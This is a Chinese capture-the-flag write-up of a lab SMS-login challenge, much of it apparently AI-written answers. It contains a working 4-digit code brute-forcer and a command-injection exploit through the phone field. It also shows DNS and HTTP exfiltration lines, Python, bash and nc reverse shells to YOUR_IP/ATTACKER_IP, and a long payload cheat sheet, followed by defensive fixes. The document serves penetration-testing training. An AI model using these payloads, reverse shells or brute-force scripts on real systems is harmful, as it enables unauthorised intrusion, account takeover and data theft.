Home
avatar

静静

好靶场-小王采购了一个发送验证码的工具-WP

关注泷羽Sec泷羽Sec-静安公众号,这里会定期更新与 OSCP、渗透测试等相关的最新文章,帮助你理解网络安全领域的最新动态。

学安全,别只看书上手练,就来好靶场,本WP靶场已开放,欢迎体验:

🔗 入口:http://www.loveli.com.cn/see_bug_one?id=571

✅ 邀请码:48ffd1d7eba24bf4

🎁 填写即领 7 天高级会员,解锁更多漏洞实战环境!快来一起实战吧!👇

漏洞发现过程

1. 初步分析

访问目标网站,发现是一个短信验证码登录页面。页面有两个主要接口:

  • /send - 发送验证码
  • /login - 验证登录

[!question] 检查这个网页的代码有没有漏洞,这是个靶机,如果有告诉我利用方式和脚本

分析这个登录页面的代码,我发现了几个潜在的安全漏洞:

查看前端代码,发现验证码只有4位数字,存在明显的暴力破解漏洞。

2. 验证码爆破

编写Python脚本进行验证码爆破:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

def send_code(phone):
    requests.post(f"{BASE_URL}/send", json={"phone": phone})

def brute_force_code(phone):
    send_code(phone)
    time.sleep(2)
    
    for code_num in range(10000):
        code = f"{code_num:04d}"
        resp = requests.post(
            f"{BASE_URL}/login",
            json={"phone": phone, "code": code}
        )
        result = resp.json()
        
        if result.get('success'):
            print(f"[+] 验证码: {code}")
            return code
        
        if code_num % 100 == 0:
            print(f"[*] 进度: {code_num}/10000", end='\r')

brute_force_code("18888888888")

成功爆破出验证码 2898,但登录后提示:“恭喜登录成功了,但是登录成功了也没有Flag”。

玩呢?啊?

3. 命令注入测试

结合题目提示”采购的工具”和”短信验证码”标签,怀疑后端可能直接将手机号参数拼接到系统命令中。

测试Sleep命令注入:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

# 测试sleep命令
start = time.time()
resp = requests.post(
    f"{BASE_URL}/send",
    json={"phone": "18888888888; sleep 5"}
)
elapsed = time.time() - start

print(f"响应时间: {elapsed:.2f}秒")

发现Burp里面修改手机号后面加sleep命令,网页确实等待了5秒后才响应。

结果:响应时间约5秒,确认存在命令注入漏洞!

使用Burp Suite手动测试:

POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json

{"phone":"18888888888; sleep 5"}

响应时间明显延迟5秒,证实了命令注入漏洞的存在。

4. 尝试外带数据(失败)

由于命令执行结果不会回显到HTTP响应中,这是典型的盲命令注入。首先尝试使用DNS外带数据。

DNSLog外带尝试:

  1. 访问 http://dnslog.cn 获取临时域名:g7nqkk.dnslog.cn

  2. 测试网络连通性:

POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json

{"phone":"18888888888; ping -c 1 g7nqkk.dnslog.cn"}
  1. 尝试外带flag:
{"phone":"18888888888; curl `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; ping -c 1 `cat /flag`.g7nqkk.dnslog.cn"}
{"phone":"18888888888; nslookup `cat /flag`.g7nqkk.dnslog.cn"}

结果:DNSLog没有收到任何记录,说明靶机无法访问外网或DNS被限制。 放轻松,DNS弹不出来是正常的。

5. 探测Web目录结构

既然外带不通,尝试将命令执行结果写入到web可访问的目录中。

探测当前工作目录:

import requests
import time

BASE_URL = "http://iuuga86.haobachang.loveli.com.cn:8888"

print("[*] 目标: 将 /tmp/flag.txt 写入到web可访问目录\n")

# 首先找出当前工作目录
print("[*] 步骤1: 探测当前工作目录...")
probe_commands = [
    "pwd > /tmp/pwd.txt",
    "ls -la > /tmp/ls.txt",
    "echo $(pwd) > /tmp/path.txt",
]

for cmd in probe_commands:
    payload = f"18888888888; {cmd}"
    requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
    time.sleep(0.3)

# 尝试多种路径写入1.txt
print("\n[*] 步骤2: 尝试将flag写入到1.txt...")

write_commands = [
    # 直接写到当前目录
    "cat /tmp/flag.txt > 1.txt",
    "cat /tmp/flag.txt > ./1.txt",
    "cp /tmp/flag.txt 1.txt",
    "cp /tmp/flag.txt ./1.txt",
    
    # 写到可能的web根目录
    "cat /tmp/flag.txt > /app/1.txt",
    "cat /tmp/flag.txt > /app/static/1.txt",
    "cat /tmp/flag.txt > ./static/1.txt",
    "cat /tmp/flag.txt > static/1.txt",
    
    # 尝试templates目录
    "cat /tmp/flag.txt > /app/templates/1.txt",
    "cat /tmp/flag.txt > ./templates/1.txt",
    "cat /tmp/flag.txt > templates/1.txt",
]

for cmd in write_commands:
    payload = f"18888888888; {cmd}"
    try:
        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
        print(f"  ✓ 执行: {cmd}")
        time.sleep(0.3)
    except:
        print(f"  ✗ 失败: {cmd}")

# 尝试访问所有可能的路径
print("\n[*] 步骤3: 尝试访问1.txt...")

possible_paths = [
    "/1.txt",
    "/static/1.txt",
    "/templates/1.txt",
    "/app/1.txt",
    "/app/static/1.txt",
    "/app/templates/1.txt",
]

flag_found = False

for path in possible_paths:
    try:
        resp = requests.get(f"{BASE_URL}{path}", timeout=3)
        if resp.status_code == 200 and len(resp.content) > 0:
            print(f"\n{'='*60}")
            print(f"[!!!] 成功找到: {BASE_URL}{path}")
            print(f"{'='*60}")
            print(f"FLAG内容: {resp.text}")
            print(f"{'='*60}")
            flag_found = True
            break
        else:
            print(f"  ✗ {path} - 状态码: {resp.status_code}")
    except Exception as e:
        print(f"  ✗ {path} - 无法访问")

if not flag_found:
    print("\n[!] 未能直接访问到文件")
    print("[*] 尝试其他方法...\n")
    
    # 方法2: 创建HTML文件嵌入flag
    print("[*] 方法2: 创建HTML文件...")
    html_commands = [
        "echo '<html><body><pre>' > 1.html && cat /tmp/flag.txt >> 1.html && echo '</pre></body></html>' >> 1.html",
        "cat /tmp/flag.txt > /app/static/1.html",
        "cat /tmp/flag.txt > ./static/1.html",
    ]
    
    for cmd in html_commands:
        payload = f"18888888888; {cmd}"
        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
        time.sleep(0.3)
    
    html_paths = ["/1.html", "/static/1.html"]
    for path in html_paths:
        try:
            resp = requests.get(f"{BASE_URL}{path}")
            if resp.status_code == 200:
                print(f"\n[!!!] HTML方式成功: {BASE_URL}{path}")
                print(f"内容: {resp.text}")
                flag_found = True
                break
        except:
            pass

if not flag_found:
    # 方法3: 尝试符号链接
    print("\n[*] 方法3: 尝试创建符号链接...")
    link_commands = [
        "ln -sf /tmp/flag.txt /app/static/1.txt",
        "ln -sf /tmp/flag.txt ./static/1.txt",
        "ln -sf /tmp/flag.txt /app/1.txt",
        "ln -sf /tmp/flag.txt ./1.txt",
    ]
    
    for cmd in link_commands:
        payload = f"18888888888; {cmd}"
        requests.post(f"{BASE_URL}/send", json={"phone": payload}, timeout=5)
        print(f"  ✓ 执行: {cmd}")
        time.sleep(0.3)
    
    print("\n[*] 再次尝试访问...")
    for path in possible_paths:
        try:
            resp = requests.get(f"{BASE_URL}{path}")
            if resp.status_code == 200 and len(resp.content) > 0:
                print(f"\n[!!!] 符号链接成功: {BASE_URL}{path}")
                print(f"内容: {resp.text}")
                break
        except:
            pass

POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json

{"phone":"18888888888; pwd > /app/static/test.txt"}

访问 http://iuuga86.haobachang.loveli.com.cn:8888/static/test.txt

结果:

/app

成功!确认当前工作目录为 /app,且 /app/static 目录可通过web访问。

探测目录结构:

{"phone":"18888888888; ls -la /app > /app/static/ls.txt"}
{"phone":"18888888888; ls -la /tmp > /app/static/tmp.txt"}

通过多次探测发现:

  • 当前目录:/app
  • 可写目录:/app/static
  • Flag位置:/tmp/flag.txt(通过ls /tmp发现)

6. 获取Flag

最终Payload:

POST /send HTTP/1.1
Host: iuuga86.haobachang.loveli.com.cn:8888
Content-Type: application/json
Content-Length: 70

{"phone":"18888888888; cat /tmp/flag.txt > /app/static/report.txt"}

访问:http://iuuga86.haobachang.loveli.com.cn:8888/static/report.txt

成功获取Flag:

flag{976372a77dfd46b1816e229952e4a15e}

漏洞原因分析

后端代码可能类似:

import os
from flask import Flask, request

@app.route('/send', methods=['POST'])
def send_sms():
    phone = request.json.get('phone')
    # 危险:直接将用户输入拼接到shell命令中
    os.system(f"send_sms.sh {phone}")
    return {"success": True, "msg": "验证码发送成功"}

用户可控的 phone 参数被直接拼接到 os.system() 中执行,导致命令注入。

防御建议

  1. 输入验证:严格验证手机号格式,使用正则表达式 ^1[3-9]\d{9}$
  2. 避免shell调用:使用Python的SMS库直接发送,避免调用shell命令
  3. 参数化:如必须使用shell,使用 subprocess 的列表参数形式
  4. 最小权限:限制应用运行权限,避免访问敏感文件
# 安全的实现方式
import re
import subprocess

def send_sms(phone):
    # 严格验证手机号
    if not re.match(r'^1[3-9]\d{9}$', phone):
        return {"success": False, "msg": "无效手机号"}
    
    # 使用参数化调用,避免命令注入
    subprocess.run(['/usr/bin/send_sms.sh', phone], check=True)
    return {"success": True, "msg": "发送成功"}

总结

这道题目考查了:

  1. 验证码爆破:4位纯数字验证码的安全风险
  2. 命令注入识别:通过sleep延时判断
  3. 盲注技巧:无回显情况下的数据外带
  4. 目录探测:寻找可写且可访问的web目录
  5. 实战思路:当常规外带方式失败时,灵活寻找其他突破点

Flag: flag{976372a77dfd46b1816e229952e4a15e}

意外发现,id居然是root,不是www-data,而是直接就是root。那怎么好意思不进来看看呢?

Python反弹Shell

{"phone":"18888888888; python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"YOUR_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'; sleep 5"}

YOUR_IP 用自己的公网服务器IP,推荐使用大麦云,找客服要优惠码 https://www.whdmw.com/recommend/A16nUFoB1Jhs

弹回shell后cat app.py 看逻辑


from flask import Flask, render_template, request, jsonify
import os
import sqlite3
from sqlite3 import Error
import time
import random
app = Flask(__name__)


# 用于存储手机号和验证码的映射
phone_code_map = {}
# 用于记录每个手机号的验证码发送次数
phone_send_count = {}

@app.route('/')
def index():
    # 将参数传递给模板
    return render_template('login.html')

@app.route('/send', methods=['POST'])
def send_code():
    print("123")
    data = request.get_json()
    phone = data.get('phone', '')
    # 记录发送次数
    count = phone_send_count.get(phone, 0)
    phone_send_count[phone] = count + 1
    print(f"手机号 {phone} 已发送验证码次数: {phone_send_count[phone]}")
    print(f"echo {phone} >> phone.txt")
    os.system(f"echo {phone} >> phone.txt")
    # 生成6位验证码
    code = ''.join([str(random.randint(0, 9)) for _ in range(4)])
    print("123")
    # 将验证码和手机号绑定
    phone_code_map[phone] = code
    msg = f'验证码发送成功'
    return jsonify({'success': True, 'msg': msg})

@app.route('/login', methods=['POST'])
def login():
    data = request.get_json()
    phone = data.get('phone', '')
    input_code = data.get('code', '')
    # 校验手机号格式
    if not phone or not phone.isdigit() or len(phone) != 11 or not phone.startswith('1'):
        return jsonify({'success': False, 'msg': '手机号格式不正确'})
    # 校验验证码格式
    if not input_code or not input_code.isdigit() or len(input_code) != 4:
        return jsonify({'success': False, 'msg': '验证码格式不正确'})
    # 验证码校验,需和手机号绑定
    code = phone_code_map.get(phone)
    if not code or input_code != code:
        return jsonify({'success': False, 'msg': '验证码错误'})
    # 登录成功
    # 这里可以进行用户注册或登录逻辑
    return jsonify({'success': True, 'msg': '恭喜登录成功了,但是登录成功了也没有Flag'})


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

漏洞分析

关键代码(第26-27行)

print(f"echo {phone} >> phone.txt")
os.system(f"echo {phone} >> phone.txt")

这就是典型的命令注入漏洞!

漏洞原理

  1. 用户可控输入phone 参数完全来自用户的POST请求
  2. 直接拼接到shell命令:使用 os.system() 直接执行拼接的字符串
  3. 没有任何过滤:虽然后面有格式验证(第42-43行),但这些验证在 /login 路由中,而命令注入在 /send 路由的验证之前就执行了

攻击流程

用户请求 /send 

获取 phone 参数

直接执行 os.system(f"echo {phone} >> phone.txt")  ← 命令注入点

生成验证码

返回成功

为什么需要 sleep?

查看代码逻辑:

  • /send 路由执行命令后立即返回响应
  • 如果命令执行时间过长,HTTP响应可能在命令完成前就返回了
  • 添加 sleep 5 确保:
    1. 命令有足够时间执行完成
    2. 文件写入操作完成
    3. 防止进程被过早终止

漏洞利用示例

# 正常使用
phone = "18888888888"
# 实际执行: echo 18888888888 >> phone.txt

# 命令注入
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt"
# 实际执行: echo 18888888888; cat /tmp/flag.txt > /app/static/flag.txt >> phone.txt
#           ^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
#           正常命令         注入的恶意命令

# 加上sleep确保执行
phone = "18888888888; cat /tmp/flag.txt > /app/static/flag.txt; sleep 5"

[!question] 怎么就发现了sleep 5 的那里我还想问一下,就是{“phone”:“18888888888”} 这里,怎么 想到sleep5 的,除了这个还有其他测试命令码

好问题!这是渗透测试中非常重要的思路。让我详细讲解命令注入的发现和测试过程:

命令注入漏洞的发现思路

1. 初步怀疑阶段

当看到这样的场景时,应该怀疑可能存在命令注入:

触发条件:

  • 接口接收用户输入(手机号、邮箱、文件名等)
  • 题目提示”采购的工具”、“第三方服务”(暗示可能使用shell脚本)
  • 后端可能是Python/PHP/Node.js等脚本语言
  • 功能涉及系统级操作(发送短信、文件处理、图片处理等)

心理过程:

用户输入 → 后端处理 → 如果后端直接调用系统命令?

"发送验证码" → 可能调用短信发送脚本/工具

是否直接拼接了用户输入?

2. 为什么首先想到用 sleep?

Sleep是命令注入测试的”黄金标准”

原因:

A. 盲注友好

# 不需要看到输出,通过"时间"就能判断
正常请求耗时: 0.5秒
注入sleep 5: 5.5秒 明显差异!

B. 跨平台兼容

Linux:   sleep 5
Windows: timeout /t 5
通用性强,几乎所有系统都有

C. 无副作用

# 不会破坏系统
 rm -rf /          # 危险!
 cat /etc/passwd   # 可能触发IDS
 sleep 5           # 安全,只是等待

D. 绕过输出过滤

# 即使返回被过滤,时间延迟无法隐藏
Response: {"success": true}  # 看起来正常
但响应时间: 5秒              # 暴露了漏洞!

3. 完整的命令注入测试流程

阶段1:初步探测(使用延时)

测试用例1:基础延时

# Linux
{"phone":"18888888888; sleep 5"}
{"phone":"18888888888 && sleep 5"}
{"phone":"18888888888 | sleep 5"}
{"phone":"18888888888 || sleep 5"}

# Windows
{"phone":"18888888888 & timeout /t 5"}
{"phone":"18888888888 && ping 127.0.0.1 -n 6"}

判断方法:

import time

start = time.time()
# 发送请求
resp = requests.post(url, json={"phone": "18888888888; sleep 5"})
elapsed = time.time() - start

if elapsed >= 4.5:  # 考虑网络延迟
    print("✓ 命令注入存在!")

测试用例2:不同的命令分隔符

# 分号(最常用)
; sleep 5

# AND运算符(前一个命令成功才执行)
&& sleep 5

# OR运算符(前一个命令失败才执行)
|| sleep 5

# 管道符(将前一个命令输出传给后面)
| sleep 5

# 反引号(命令替换)
`sleep 5`

# $() 命令替换(更现代)
$(sleep 5)

# 换行符(部分场景)
%0a sleep 5
\n sleep 5

# 后台执行
& sleep 5

测试用例3:测试不同的延时时长

# 用于确认是否真的是命令注入
{"phone":"18888888888; sleep 3"}  # 3秒
{"phone":"18888888888; sleep 7"}  # 7秒
{"phone":"18888888888; sleep 10"} # 10秒

# 如果响应时间与sleep参数对应,基本确认漏洞

阶段2:确认命令执行环境

测试用例4:判断操作系统

# Linux探测
{"phone":"18888888888; uname -a > /tmp/test"}
{"phone":"18888888888; cat /etc/os-release > /tmp/test"}

# Windows探测
{"phone":"18888888888 & ver"}
{"phone":"18888888888 & systeminfo"}

测试用例5:判断当前用户

{"phone":"18888888888; whoami > /tmp/user.txt"}
{"phone":"18888888888; id > /tmp/user.txt"}

测试用例6:判断当前目录

{"phone":"18888888888; pwd > /tmp/pwd.txt"}
{"phone":"18888888888; ls -la > /tmp/ls.txt"}

阶段3:数据回显测试

测试用例7:写入Web可访问目录

# 假设是Flask/Django应用
{"phone":"18888888888; echo test123 > /app/static/test.txt"}
{"phone":"18888888888; whoami > ./static/out.txt"}

# PHP应用
{"phone":"18888888888; echo test > /var/www/html/test.txt"}

# 通用尝试
{"phone":"18888888888; pwd > ./test.txt"}

测试用例8:DNS外带(需要有网络)

# 使用DNSLog
{"phone":"18888888888; nslookup test.dnslog.cn"}
{"phone":"18888888888; ping -c 1 test.dnslog.cn"}
{"phone":"18888888888; curl http://test.dnslog.cn"}

测试用例9:HTTP外带

# 使用RequestBin/Webhook.site
{"phone":"18888888888; curl http://webhook.site/xxx?data=$(whoami)"}
{"phone":"18888888888; wget http://requestbin.net/xxx --post-data='data=$(id)'"}

阶段4:高级利用

测试用例10:反弹Shell

# Bash反弹
{"phone":"18888888888; bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"}

# NC反弹
{"phone":"18888888888; nc ATTACKER_IP 4444 -e /bin/bash"}
{"phone":"18888888888; rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc ATTACKER_IP 4444 >/tmp/f"}

# Python反弹
{"phone":"18888888888; python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((\"ATTACKER_IP\",4444));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);subprocess.call([\"/bin/bash\",\"-i\"])'"}

4. 除了sleep,还有哪些测试命令?

基于时间的盲注(推荐,优先级最高)

# Linux
sleep 5              # 最常用
ping -c 5 127.0.0.1  # 延时5秒
timeout 5            # 需要安装

# Windows  
timeout /t 5         # CMD
ping 127.0.0.1 -n 6  # 6次ping(约5秒)
Start-Sleep -s 5     # PowerShell

# 跨平台(通过脚本)
python -c "import time; time.sleep(5)"
perl -e "sleep 5"
ruby -e "sleep 5"

基于布尔的盲注

# 测试文件是否存在
# 如果存在则sleep
{"phone":"18888888888; [ -f /etc/passwd ] && sleep 5"}
{"phone":"18888888888; test -f /etc/passwd && sleep 5"}

# 如果不存在则sleep
{"phone":"18888888888; [ ! -f /notexist ] && sleep 5"}

# 测试用户权限
{"phone":"18888888888; [ $(whoami) = 'root' ] && sleep 5"}

基于输出的测试(需要回显)

# 简单命令
whoami              # 当前用户
id                  # 用户ID和组
pwd                 # 当前目录
hostname            # 主机名
uname -a            # 系统信息

# 文件读取
cat /etc/passwd
cat /tmp/flag.txt
ls -la /
find / -name "flag*"

# 网络信息
ifconfig
ip addr
netstat -tulnp

基于文件的测试

# 创建标记文件
{"phone":"18888888888; touch /tmp/pwned"}
{"phone":"18888888888; echo hacked > /tmp/test.txt"}

# 写入特定内容
{"phone":"18888888888; date > /tmp/timestamp.txt"}
{"phone":"18888888888; whoami > /app/static/user.txt"}

基于错误的测试

# 故意触发错误,观察响应
{"phone":"18888888888; invalidcommand"}
{"phone":"18888888888; cat /nonexistent"}

# 语法错误
{"phone":"18888888888; $("}
{"phone":"18888888888; `"}

6. 实战技巧总结

为什么sleep是首选?

测试方法优点缺点
sleep延时✅ 无需回显
✅ 跨平台
✅ 无副作用
✅ 易于自动化
❌ 受网络延迟影响
文件写入✅ 可验证执行
✅ 持久化
❌ 需要知道路径
❌ 需要写权限
DNS外带✅ 无需回显
✅ 可获取数据
❌ 需要网络
❌ 可能被监控
反弹Shell✅ 交互式
✅ 权限最大
❌ 容易被发现
❌ 需要公网IP

测试顺序建议

1. sleep延时测试(确认漏洞存在)

2. 环境探测(操作系统、权限、路径)

3. 数据回显(写入文件或外带)

4. 获取目标数据(读flag、敏感文件)

5. 持久化/提权(可选)

总结

为什么想到sleep?

  1. 这是渗透测试的标准做法
  2. 时间延迟是最可靠的盲注指标
  3. 无副作用,安全性高
  4. 教程和工具都优先推荐这个方法

其他测试命令的选择:

  • 有回显 → 用 whoami, id, pwd
  • 无回显 → 用 sleep, DNS外带
  • 需要数据 → 写入web目录或反弹shell
  • 需要持久化 → 添加用户、计划任务

记住:先用sleep验证漏洞存在,再根据具体情况选择后续利用方式。这是最稳妥的思路!


🔔 想要获取更多网络安全与编程技术干货?

关注 泷羽Sec-静安 公众号,与你一起探索前沿技术,分享实用的学习资源与工具。我们专注于深入分析,拒绝浮躁,只做最实用的技术分享!💻

马上加入我们,共同成长!🌟

👉 长按或扫描二维码关注公众号

直接回复文章中的关键词,获取更多技术资料与书单推荐!📚

好靶场